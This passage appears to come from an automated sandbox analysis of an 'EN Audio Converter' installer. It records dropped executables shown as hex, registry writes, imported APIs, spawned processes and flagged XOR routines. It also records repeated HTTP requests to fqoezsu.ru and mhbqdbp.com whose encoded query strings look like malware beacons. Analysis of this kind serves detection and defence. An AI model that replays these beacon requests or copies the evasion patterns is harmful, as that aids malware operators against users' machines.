signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1DQB3.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 56320 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-UJRBF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-G95JB.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 39936 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-IVAQ3.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 28672 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-M7P6N.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 49152 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1C44R.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 24576 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-QC2VF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 53248 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-V6A1E.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 49152 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-VHDIC.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 24848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-ASTF1.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 59904 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-70CF9.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 59904 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-CSL2Q.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 46592 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-BFQCM.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 36864 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-QVM46.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 45056 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-8JVG6.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 36864 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-39S2A.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 45056 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-IGPB7.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 45056 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-G8RV0.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 57344 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-5FAIH.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 51200 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-NMF2B.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 45056 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-DOJJE.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...51:Tafe,"file.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\file.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-OVA8F.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\Lang\is-IV91A.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-B0U1P.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-KUMP9.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-NS8P1.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1DQB3.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-MLG5J.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-UJRBF.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-ECHF3.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-DQV0E.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-G95JB.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-PISV5.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-H69SE.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-IVAQ3.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-M7P6N.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-GAPV1.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-9N1MP.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1C44R.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-QC2VF.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-FP29R.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-J90NT.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-V6A1E.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-77M1C.tmp" with delete access "file.tmp" opened "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-VHDIC.tmp" with delete access52:T1288,"file.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "OWNER"; Value: "7C140000B584718C7049DA01") "file.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "79C11C90935EF91D0A0389B527833CD87F9AD2B2BBEC0C3F993A45EB2B71F295") "file.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SEQUENCE"; Value: "01000000") "file.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AntiWatermark.dll") "file.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "119DA5F7AF30B370D6C0CD82808F870856B64004FDC0239B4931BE26E8F4A833") "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INNO SETUP: SETUP VERSION"; Value: "5.5.0 (a)"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INNO SETUP: APP PATH"; Value: "%LOCALAPPDATA%\IramSoft\EN Audio Converter"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INSTALLLOCATION"; Value: "%LOCALAPPDATA%\IramSoft\EN Audio Converter\"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INNO SETUP: ICON GROUP"; Value: "IramSoft\EN Audio Converter"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INNO SETUP: USER"; Value: "HAPUBWS"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INNO SETUP: LANGUAGE"; Value: "english"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "DISPLAYNAME"; Value: "EN Audio Converter"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "UNINSTALLSTRING"; Value: ""%LOCALAPPDATA%\IramSoft\EN Audio Converter\unins000.exe""), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "QUIETUNINSTALLSTRING"; Value: ""%LOCALAPPDATA%\IramSoft\EN Audio Converter\unins000.exe" /SILENT"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "DISPLAYVERSION"; Value: "0.1.1.7"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "PUBLISHER"; Value: "IramSoft International LLC."), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "URLINFOABOUT"; Value: "http://www.iramsoft.com/"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "HELPLINK"; Value: "http://www.iramsoft.com/support.php"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "URLUPDATEINFO"; Value: "http://www.iramsoft.com/product-audio-converter-ripper.htm"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "NOMODIFY"; Value: "01000000"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "NOREPAIR"; Value: "01000000"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "INSTALLDATE"; Value: "20240117"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "MAJORVERSION"; Value: "00000000"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "MINORVERSION"; Value: "01000000"), "file.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\EN AUDIO CONVERTER_IS1"; Key: "ESTIMATEDSIZE"; Value: "86410000")53:T4ae,RegCloseKey OpenProcessToken RegOpenKeyExA GetSystemInfo GetFileAttributesA VirtualProtect GetVersionExA GetModuleFileNameA GetFileSize LockResource CreateDirectoryA DeleteFileA GetCommandLineA GetProcAddress GetModuleHandleA WriteFile LoadLibraryA CreateProcessA Sleep CreateFileA FindResourceA VirtualAlloc RegDeleteKeyA GetUserNameA RegCreateKeyExA RegDeleteValueA RegEnumKeyExA CreateFileMappingA GetDriveTypeA GetLogicalDrives DeviceIoControl CopyFileA LoadLibraryExA CreateThread GetSystemDirectoryA TerminateProcess GetTickCount OpenProcess FindFirstFileA GetComputerNameA FindNextFileA MapViewOfFile WNetOpenEnumA ShellExecuteExA ShellExecuteA GetCursorPos GetLastActivePopup SetWindowsHookExA FindWindowA GetWindowThreadProcessId RegOpenKeyA RegEnumKeyA GetTempPathA OutputDebugStringA OutputDebugStringW GetModuleFileNameW UnhandledExceptionFilter ExitThread GetStartupInfoA GetFileSizeEx CreateFileW IsDebuggerPresent GetModuleHandleW socketpair SetSecurityDescriptorDacl LoadLibraryW FindNextFileW FindFirstFileW FindResourceW RegCreateKeyExW RegOpenKeyExW RegEnumKeyW RegDeleteKeyW RegOpenKeyW SetWindowsHookExW54:T405,Spawned process "file.exe" (UID: 00000000-00000824) Spawned process "file.tmp" with commandline "/SL5="$A034A 6165424 54272 C:\\file.exe"" (UID: 00000000-00005244) Spawned process "schtasks.exe" with commandline "/Delete /F /TN "DCR1171"" (UID: 00000000-00006584) Spawned process "DioConverterRipper.exe" with commandline "-i" (UID: 00000000-00002852) Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 2852 -ip 2852" (UID: 00000000-00007076) Spawned process "WerFault.exe" with commandline "-u -p 2852 -s 616" (UID: 00000000-00001980) Spawned process "WerFault.exe" with commandline "-u -p 2852 -s 616" (UID: 00000000-00006356) Spawned process "DioConverterRipper.exe" with commandline "-s" (UID: 00000000-00001844) Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 1844 -ip 1844" (UID: 00000000-00007080) Spawned process "WerFault.exe" with commandline "-u -p 1844 -s 620" (UID: 00000000-00000828) Spawned process "WerFault.exe" with commandline "-u -p 1844 -s 620" (UID: 00000000-00006196)55:T919,"DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{2B0F765D-C0E9-4171-908E-08A611B84FF6}") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{2B0F765D-C0E9-4171-908E-08A611B84FF6}\PROPERTYBAG") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\KNOWNFOLDERS") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PROPERTYBAG") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY") "DioConverterRipper.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{D9DC8A3B-B784-432E-A781-5A1130A75963}\PROPERTYBAG") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST") "DioConverterRipper.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION") "DioConverterRipper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION")56:Tc29,Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-81-004540EC Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-347-004765F8 Assembly shows XOR instruction xor byte ptr [esi] al in Stream UID: 00000000-00002004-6992-479-004396F0 Assembly shows XOR instruction xor word ptr [esi] ax in Stream UID: 00000000-00002004-6992-479-004396F0 Assembly shows XOR instruction xor dword ptr [esi] eax in Stream UID: 00000000-00002004-6992-479-004396F0 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-498-00437AD4 Assembly shows XOR instruction xor dword ptr [eax] eax in Stream UID: 00000000-00002004-6992-598-004811F8 Assembly shows XOR instruction xor dword ptr [eax] esp in Stream UID: 00000000-00002004-6992-598-004811F8 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-667-004777FC Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-754-00470950 Assembly shows XOR instruction xor dword ptr [ebp+63h] eax in Stream UID: 00000000-00002004-6992-1029-0045DF10 Assembly shows XOR instruction xor al byte ptr [ebp+63h] in Stream UID: 00000000-00002004-6992-1029-0045DF10 Assembly shows XOR instruction xor dx cx in Stream UID: 00000000-00002004-6992-1036-00450E20 Assembly shows XOR instruction xor edx ebx in Stream UID: 00000000-00002004-6992-1036-00450E20 Assembly shows XOR instruction xor eax dword ptr [eax] in Stream UID: 00000000-00002004-6992-1063-0044FD5F Assembly shows XOR instruction xor dword ptr [ecx+558BFFFBh] ebp in Stream UID: 00000000-00002004-6992-1156-0044B0BA Assembly shows XOR instruction xor eax 35300041h in Stream UID: 00000000-00002004-6992-1775-0041356C Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00002004-6992-2188-00413D08 Assembly shows XOR instruction xor bl 01h in Stream UID: 00000000-00002004-6992-2783-0045C5C8 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-2783-0045C5C8 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-2920-00467710 Assembly shows XOR instruction xor cl 01h in Stream UID: 00000000-00002004-6992-3369-00492F10 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-3600-004143F0 Assembly shows XOR instruction xor bl 01h in Stream UID: 00000000-00002004-6992-4085-0044CD28 Assembly shows XOR instruction xor dl 01h in Stream UID: 00000000-00002004-6992-4093-0044EC6C Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-4093-0044EC6C Assembly shows XOR instruction xor esi 02h in Stream UID: 00000000-00002004-6992-4451-004818AC Assembly shows XOR instruction xor al 00h in Stream UID: 00000000-00002004-6992-6143-0049633C Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00002004-6992-6245-004180C9 Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00002004-6992-6361-0044EEC0 Assembly shows XOR instruction xor dh byte ptr [eax] in Stream UID: 00000000-00002004-6992-6366-0044FF0057:T3806,Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqoezsu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mhbqdbp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header 